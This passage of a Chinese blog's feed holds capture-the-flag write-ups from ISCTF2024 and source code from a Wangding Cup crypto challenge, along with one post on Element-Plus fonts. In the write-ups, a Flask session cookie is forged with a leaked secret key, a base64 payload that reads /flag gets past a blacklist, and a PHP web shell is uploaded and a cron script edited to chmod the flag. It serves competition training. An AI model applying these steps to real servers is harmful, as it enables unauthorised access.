<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>当用户名是<code>test</code>密码是<code>test111</code>则可以登录，但是当用户名是<code>admin</code>密码为<code>admin222</code>时才能登录管理员面板，这就摆明了要求我们绕过验证。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">app<span class="token punctuation">.</span>config<span class="token punctuation">[</span><span class="token string">"SECRET_KEY"</span><span class="token punctuation">]</span> <span class="token operator">=</span> <span class="token string">"W3l1com_isCTF"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>这里提供了<code>SECRET_KEY</code>，我们可以根据这个加解密 session.</p>
<p>我使用的<a href="https://github.com/noraj/flask-session-cookie-manager" target="_blank" rel="noopener noreferrer">noraj/flask-session-cookie-manager: 🍪 Flask Session Cookie Decoder/Encoder</a>工具解析的 session，相关的使用方法可以在 Github 查看。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/67580123cbd9d.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<div class="language-powershell line-numbers-mode" data-highlighter="prismjs" data-ext="powershell"><pre><code class="language-powershell"><span class="line">python <span class="token operator">-</span>m flask_session_cookie_manager3 encode <span class="token operator">-</span>s <span class="token string">"W3l1com_isCTF"</span> <span class="token operator">-</span>t <span class="token string">"{'password': 'admin222', 'status': 'admin', 'username': 'admin'}"</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">.eJyrVipILC4uzy9KUbJSSkzJzcwzMjJS0lEqLkksKS2GiQEFSotTi_ISc1PhQrUAUyMTvw.ZzXjYw.JGCK95W6Ukxa7bFuD7ji1Uq68PA</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>将 Cookies 中 session 换成生成的 session 即可进入管理员平台。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/67580135c4ecf.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>然后继续分析代码。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">news_data <span class="token operator">=</span> base64<span class="token punctuation">.</span>b64decode<span class="token punctuation">(</span>serialized_news<span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>在这里会将 base64 字符串解码。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">black_list <span class="token operator">=</span> <span class="token punctuation">[</span><span class="token string">'create_news'</span><span class="token punctuation">,</span> <span class="token string">'export_news'</span><span class="token punctuation">,</span> <span class="token string">'add_news'</span><span class="token punctuation">,</span> <span class="token string">'get_news'</span><span class="token punctuation">]</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>在这里有一个黑名单，出现这里面提到的单词会被 ban 掉。其实这是一个线索，我们可以想象一下如何使用这里面的东西而不被发现~~（base64：不管我事哈<sub>）</sub>~</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">newslist <span class="token operator">=</span> NewsList<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>代码在这里将对象实例化，可以直接调用。</p>
<div class="language-python line-numbers-mode" data-highlighter="prismjs" data-ext="py"><pre><code class="language-python"><span class="line">newslist<span class="token punctuation">.</span>create_news<span class="token punctuation">(</span><span class="token number">6</span><span class="token punctuation">,</span> <span class="token builtin">open</span><span class="token punctuation">(</span><span class="token string">"/flag"</span><span class="token punctuation">)</span><span class="token punctuation">.</span>read<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>编写这样一段 Payload，然后转为 base64.</p>
<div class="language-text line-numbers-mode" data-highlighter="prismjs" data-ext="text"><pre><code class="language-text"><span class="line">bmV3c2xpc3QuY3JlYXRlX25ld3MoNiwgb3BlbigiL2ZsYWciKS5yZWFkKCkp</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div><p>[pickle</p>
]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">cron计划任务利用 | ISCTF2024 | Web 小蓝鲨的临时存储室</title>
    <id>https://www.hestudio.net/posts/upload-cron-isctf2024.html</id>
    <link href="https://www.hestudio.net/posts/upload-cron-isctf2024.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>原题打开是一个上传界面。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fcb72a2d2.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>尝试上传一句话木马，可以上传。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fcc6579f1.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>]]></summary>
    <content type="html"><![CDATA[<p>原题打开是一个上传界面。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fcb72a2d2.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>尝试上传一句话木马，可以上传。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fcc6579f1.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>尝试使用蚁剑链接，发现可以连接。</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fcd6f2445.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fce5bf5bd.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>在根目录找到 flag，但是权限不够打不开。</p>
<p>当我寻找其他方案时，它竟然把我的脚本删了！！！！！！</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fd001041e.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>到底是哪个玩意干的？？到底是谁？？是谁呢？？</p>
<figure><img src="https://img.hestudio.net/2024/12/10/6757fd0f4b0a4.webp" alt="" tabindex="0" loading="lazy"><figcaption></figcaption></figure>
<p>一定是它了，在根目录有个<code>down_file.sh</code>是可以编辑的。就是它把我的 PHP 删了！！！</p>
<p>既然你不仁，休怪我不义！！</p>
<div class="language-bash line-numbers-mode" data-highlighter="prismjs" data-ext="sh"><pre><code class="language-bash"><span class="line"><span class="token function">chmod</span> 0777 /flag</span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div></div></div>]]></content>
    <category term="CTF"/>
    <published>2024-12-10T08:55:12.000Z</published>
  </entry>
  <entry>
    <title type="text">Element-Plus 修改控件字体</title>
    <id>https://www.hestudio.net/posts/change-element-plus-components-font-family.html</id>
    <link href="https://www.hestudio.net/posts/change-element-plus-components-font-family.html"/>
    <updated>2025-03-13T06:15:20.000Z</updated>
    <summary type="html"><![CDATA[<p>部分 Element-Plus 控件不跟随网站<code>body</code>设置，而是使用 Element-Plus 配置文件中的默认项。</p>
<div class="language-scss line-numbers-mode" data-highlighter="prismjs" data-ext="scss"><pre><code class="language-scss"><span class="line"><span class="token comment">// Typography</span></span>
<span class="line"><span class="token property"><span class="token variable">$font-family</span></span><span class="token punctuation">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token statement keyword">!default</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token property"><span class="token variable">$font-family</span></span><span class="token punctuation">:</span> map.<span class="token function">merge</span><span class="token punctuation">(</span></span>
<span class="line">  <span class="token punctuation">(</span></span>
<span class="line">    <span class="token comment">// default family</span></span>
<span class="line">    <span class="token string">""</span><span class="token punctuation">:</span></span>
<span class="line">      <span class="token string">"'Helvetica Neue', Helvetica, 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', '微软雅黑', Arial, sans-serif"</span></span>
<span class="line">  <span class="token punctuation">)</span><span class="token punctuation">,</span></span>
<span class="line">  <span class="token variable">$font-family</span></span>
<span class="line"><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div>]]></summary>
    <content type="html"><![CDATA[<p>部分 Element-Plus 控件不跟随网站<code>body</code>设置，而是使用 Element-Plus 配置文件中的默认项。</p>
<div class="language-scss line-numbers-mode" data-highlighter="prismjs" data-ext="scss"><pre><code class="language-scss"><span class="line"><span class="token comment">// Typography</span></span>
<span class="line"><span class="token property"><span class="token variable">$font-family</span></span><span class="token punctuation">:</span> <span class="token punctuation">(</span><span class="token punctuation">)</span> <span class="token statement keyword">!default</span><span class="token punctuation">;</span></span>
<span class="line"><span class="token property"><span class="token variable">$font-family</span></span><span class="token punctuation">:</span> map.<span class="token function">merge</span><span class="token punctuation">(</span></span>
<span class="line">  <span class="token punctuation">(</span></span>
<span class="line">    <span class="token comment">// default family</span></span>
<span class="line">    <span class="token string">""</span><span class="token punctuation">:</span></span>
<span class="line">      <span class="token string">"'Helvetica Neue', Helvetica, 'PingFang SC', 'Hiragino Sans GB', 'Microsoft YaHei', '微软雅黑', Arial, sans-serif"</span></span>
<span class="line">  <span class="token punctuation">)</span><span class="token punctuation">,</span></span>
<span class="line">  <span class="token variable">$font-family</span></span>
<span class="line"><span class="token punctuation">)</span><span class="token punctuation">;</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div></div><p>它的字体在配置文件是写死的，而且官方并没有提供办法修改。如果修改<code>mode_modules</code>，推送到流水线后并不会同步，只能用其他方法。</p>
]]></content>
    <category term="整活记录"/>
    <published>2024-11-07T16:00:50.000Z</published>
  </entry>
  <entry>
    <title type="text">椭圆曲线签名算法 | 网鼎杯20241029青龙组 | Crypto2</title>
    <id>https://www.hestudio.net/posts/wdb-qinglong-crypto2.html</id>
    <link href="https://www.hestudio.net/posts/wdb-qinglong-crypto2.html"/>
    <updated>2024-12-10T14:04:03.000Z</updated>
    <summary type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> gmpy2</span>
<span class="line"><span class="token keyword">import</span> random</span>
<span class="line"><span class="token keyword">import</span> binascii</span>
<span class="line"><span class="token keyword">from</span> hashlib <span class="token keyword">import</span> sha256</span>
<span class="line"><span class="token keyword">from</span> sympy <span class="token keyword">import</span> nextprime</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>Padding <span class="token keyword">import</span> pad</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Util<span class="token punctuation">.</span>number <span class="token keyword">import</span> long_to_bytes</span>
<span class="line"><span class="token keyword">from</span> FLAG <span class="token keyword">import</span> flag</span>
<span class="line"><span class="token comment">#flag = 'wdflag{123}'</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">victory_encrypt</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">,</span> key<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    key <span class="token operator">=</span> key<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    key_length <span class="token operator">=</span> <span class="token builtin">len</span><span class="token punctuation">(</span>key<span class="token punctuation">)</span></span>
<span class="line">    plaintext <span class="token operator">=</span> plaintext<span class="token punctuation">.</span>upper<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">    ciphertext <span class="token operator">=</span> <span class="token string">''</span></span>
<span class="line"></span>
<span class="line">    <span class="token keyword">for</span> i<span class="token punctuation">,</span> char <span class="token keyword">in</span> <span class="token builtin">enumerate</span><span class="token punctuation">(</span>plaintext<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> char<span class="token punctuation">.</span>isalpha<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">            shift <span class="token operator">=</span> <span class="token builtin">ord</span><span class="token punctuation">(</span>key<span class="token punctuation">[</span>i <span class="token operator">%</span> key_length<span class="token punctuation">]</span><span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span></span>
<span class="line">            encrypted_char <span class="token operator">=</span> <span class="token builtin">chr</span><span class="token punctuation">(</span><span class="token punctuation">(</span><span class="token builtin">ord</span><span class="token punctuation">(</span>char<span class="token punctuation">)</span> <span class="token operator">-</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span> <span class="token operator">+</span> shift<span class="token punctuation">)</span> <span class="token operator">%</span> <span class="token number">26</span> <span class="token operator">+</span> <span class="token builtin">ord</span><span class="token punctuation">(</span><span class="token string">'A'</span><span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> encrypted_char</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            ciphertext <span class="token operator">+=</span> char</span>
<span class="line"></span>
<span class="line">    <span class="token keyword">return</span> ciphertext</span>
<span class="line"></span>
<span class="line">victory_key <span class="token operator">=</span> <span class="token string">"WANGDINGCUP"</span></span>
<span class="line">victory_encrypted_flag <span class="token operator">=</span> victory_encrypt<span class="token punctuation">(</span>flag<span class="token punctuation">,</span> victory_key<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">p <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f</span></span>
<span class="line">a <span class="token operator">=</span> <span class="token number">0</span></span>
<span class="line">b <span class="token operator">=</span> <span class="token number">7</span></span>
<span class="line">xG <span class="token operator">=</span> <span class="token number">0x79be667ef9dcbbac55a06295ce870b07029bfcdb2dce28d959f2815b16f81798</span></span>
<span class="line">yG <span class="token operator">=</span> <span class="token number">0x483ada7726a3c4655da4fbfc0e1108a8fd17b448a68554199c47d08ffb10d4b8</span></span>
<span class="line">G <span class="token operator">=</span> <span class="token punctuation">(</span>xG<span class="token punctuation">,</span> yG<span class="token punctuation">)</span></span>
<span class="line">n <span class="token operator">=</span> <span class="token number">0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141</span></span>
<span class="line">h <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">zero <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span><span class="token number">0</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">dA <span class="token operator">=</span> nextprime<span class="token punctuation">(</span>random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">if</span> dA <span class="token operator">&gt;</span> n<span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"warning!!"</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">addition</span><span class="token punctuation">(</span>t1<span class="token punctuation">,</span> t2<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token keyword">if</span> t1 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token keyword">if</span> t2 <span class="token operator">==</span> zero<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">return</span> t2</span>
<span class="line">    <span class="token punctuation">(</span>m1<span class="token punctuation">,</span> n1<span class="token punctuation">)</span> <span class="token operator">=</span> t1</span>
<span class="line">    <span class="token punctuation">(</span>m2<span class="token punctuation">,</span> n2<span class="token punctuation">)</span> <span class="token operator">=</span> t2</span>
<span class="line">    <span class="token keyword">if</span> m1 <span class="token operator">==</span> m2<span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> n1 <span class="token operator">==</span> <span class="token number">0</span> <span class="token keyword">or</span> n1 <span class="token operator">!=</span> n2<span class="token punctuation">:</span></span>
<span class="line">            <span class="token keyword">return</span> zero</span>
<span class="line">        <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">            k <span class="token operator">=</span> <span class="token punctuation">(</span><span class="token number">3</span> <span class="token operator">*</span> m1 <span class="token operator">*</span> m1 <span class="token operator">+</span> a<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token number">2</span> <span class="token operator">*</span> n1 <span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">else</span><span class="token punctuation">:</span></span>
<span class="line">        k <span class="token operator">=</span> <span class="token punctuation">(</span>n2 <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span><span class="token punctuation">(</span>m2 <span class="token operator">-</span> m1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p<span class="token punctuation">,</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    m3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> k <span class="token operator">%</span> p <span class="token operator">-</span> m1 <span class="token operator">-</span> m2 <span class="token operator">+</span> p <span class="token operator">*</span> <span class="token number">2</span><span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    n3 <span class="token operator">=</span> <span class="token punctuation">(</span>k <span class="token operator">*</span> <span class="token punctuation">(</span>m1 <span class="token operator">-</span> m3<span class="token punctuation">)</span> <span class="token operator">%</span> p <span class="token operator">-</span> n1 <span class="token operator">+</span> p<span class="token punctuation">)</span> <span class="token operator">%</span> p</span>
<span class="line">    <span class="token keyword">return</span> <span class="token punctuation">(</span><span class="token builtin">int</span><span class="token punctuation">(</span>m3<span class="token punctuation">)</span><span class="token punctuation">,</span><span class="token builtin">int</span><span class="token punctuation">(</span>n3<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">multiplication</span><span class="token punctuation">(</span>x<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    ans <span class="token operator">=</span> zero</span>
<span class="line">    t <span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">while</span><span class="token punctuation">(</span>t <span class="token operator">&lt;=</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">        <span class="token keyword">if</span> <span class="token punctuation">(</span>k <span class="token operator">&amp;</span>t <span class="token punctuation">)</span><span class="token operator">&gt;</span><span class="token number">0</span><span class="token punctuation">:</span></span>
<span class="line">            ans <span class="token operator">=</span> addition<span class="token punctuation">(</span>ans<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        x <span class="token operator">=</span> addition<span class="token punctuation">(</span>x<span class="token punctuation">,</span> x<span class="token punctuation">)</span></span>
<span class="line">        t <span class="token operator">&lt;&lt;</span><span class="token operator">=</span> <span class="token number">1</span></span>
<span class="line">    <span class="token keyword">return</span> ans</span>
<span class="line"></span>
<span class="line"><span class="token keyword">def</span> <span class="token function">getrs</span><span class="token punctuation">(</span>z<span class="token punctuation">,</span> k<span class="token punctuation">)</span><span class="token punctuation">:</span></span>
<span class="line">    <span class="token punctuation">(</span>xp<span class="token punctuation">,</span> yp<span class="token punctuation">)</span> <span class="token operator">=</span> P</span>
<span class="line">    r <span class="token operator">=</span> xp</span>
<span class="line">    s <span class="token operator">=</span> <span class="token punctuation">(</span>z <span class="token operator">+</span> r <span class="token operator">*</span> dA <span class="token operator">%</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n <span class="token operator">*</span> gmpy2<span class="token punctuation">.</span>invert<span class="token punctuation">(</span>k<span class="token punctuation">,</span> n<span class="token punctuation">)</span> <span class="token operator">%</span> n</span>
<span class="line">    <span class="token keyword">return</span> r<span class="token punctuation">,</span>s</span>
<span class="line"></span>
<span class="line">z1 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line">z2 <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> p<span class="token punctuation">)</span></span>
<span class="line">k <span class="token operator">=</span> random<span class="token punctuation">.</span>randint<span class="token punctuation">(</span><span class="token number">0</span><span class="token punctuation">,</span> n<span class="token punctuation">)</span></span>
<span class="line">P <span class="token operator">=</span> multiplication<span class="token punctuation">(</span>G<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line">hA <span class="token operator">=</span> multiplication<span class="token punctuation">(</span>G<span class="token punctuation">,</span> dA<span class="token punctuation">)</span></span>
<span class="line">r1<span class="token punctuation">,</span> s1 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z1<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line">r2<span class="token punctuation">,</span> s2 <span class="token operator">=</span> getrs<span class="token punctuation">(</span>z2<span class="token punctuation">,</span> k<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"r1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>r1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"r2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>r2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"s1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>s1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"s2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>s2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"z1 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>z1<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"z2 = {}"</span><span class="token punctuation">.</span><span class="token builtin">format</span><span class="token punctuation">(</span>z2<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line">key <span class="token operator">=</span> sha256<span class="token punctuation">(</span>long_to_bytes<span class="token punctuation">(</span>dA<span class="token punctuation">)</span><span class="token punctuation">)</span><span class="token punctuation">.</span>digest<span class="token punctuation">(</span><span class="token punctuation">)</span></span>
<span class="line">cipher <span class="token operator">=</span> AES<span class="token punctuation">.</span>new<span class="token punctuation">(</span>key<span class="token punctuation">,</span> AES<span class="token punctuation">.</span>MODE_CBC<span class="token punctuation">)</span></span>
<span class="line">iv <span class="token operator">=</span> cipher<span class="token punctuation">.</span>iv</span>
<span class="line">encrypted_flag <span class="token operator">=</span> cipher<span class="token punctuation">.</span>encrypt<span class="token punctuation">(</span>pad<span class="token punctuation">(</span>victory_encrypted_flag<span class="token punctuation">.</span>encode<span class="token punctuation">(</span><span class="token punctuation">)</span><span class="token punctuation">,</span> AES<span class="token punctuation">.</span>block_size<span class="token punctuation">)</span><span class="token punctuation">)</span></span>
<span class="line">encrypted_flag_hex <span class="token operator">=</span> binascii<span class="token punctuation">.</span>hexlify<span class="token punctuation">(</span>iv <span class="token operator">+</span> encrypted_flag<span class="token punctuation">)</span><span class="token punctuation">.</span>decode<span class="token punctuation">(</span><span class="token string">'utf-8'</span><span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token keyword">print</span><span class="token punctuation">(</span><span class="token string">"Encrypted flag (AES in CBC mode, hex):"</span><span class="token punctuation">,</span> encrypted_flag_hex<span class="token punctuation">)</span></span>
<span class="line"></span>
<span class="line"><span class="token comment"># output</span></span>
<span class="line"><span class="token comment"># r1 = 86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line"><span class="token comment"># r2 = 86806104739558095745988469033305523200538774705708894815836887970976487278764</span></span>
<span class="line"><span class="token comment"># s1 = 93400851884262731807098055393482657423555590196362184363643455285862566867372</span></span>
<span class="line"><span class="token comment"># s2 = 58741027521216057788923508334695668250013849866589902683641825341545919891746</span></span>
<span class="line"><span class="token comment"># z1 = 47591695289461307212638536234394543297527537576682980326526736956079807805586</span></span>
<span class="line"><span class="token comment"># z2 = 97911075901954715147720917205165523174582665086645698292621371632896283314804</span></span>
<span class="line"><span class="token comment"># ('Encrypted flag (AES in CBC mode, hex):', u'86cd24e2914c0c4d9b87bea34005a98bd8587d14cae71909b917679d3328304e7915e6ba4cad1096faa4a85bc52f8056d3f21ef09516be8a5160f1b338a6b936')</span></span>
<span class="line"></span></code></pre>
<div class="line-numbers" aria-hidden="true" style="counter-reset:line-number 0"><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div><div class="line-number"></div></div><div class="collapsed-lines"></div></div>]]></summary>
    <content type="html"><![CDATA[<h3>原题</h3>
<div class="language-python line-numbers-mode has-collapsed-lines collapsed" data-highlighter="prismjs" data-ext="py" style="--vp-collapsed-lines:15;"><pre><code class="language-python"><span class="line"><span class="token keyword">import</span> gmpy2</span>
<span class="line"><span class="token keyword">import</span> random</span>
<span class="line"><span class="token keyword">import</span> binascii</span>
<span class="line"><span class="token keyword">from</span> hashlib <span class="token keyword">import</span> sha256</span>
<span class="line"><span class="token keyword">from</span> sympy <span class="token keyword">import</span> nextprime</span>
<span class="line"><span class="token keyword">from</span> Crypto<span class="token punctuation">.</span>Cipher <span class="token keyword">import</span> AES</span>
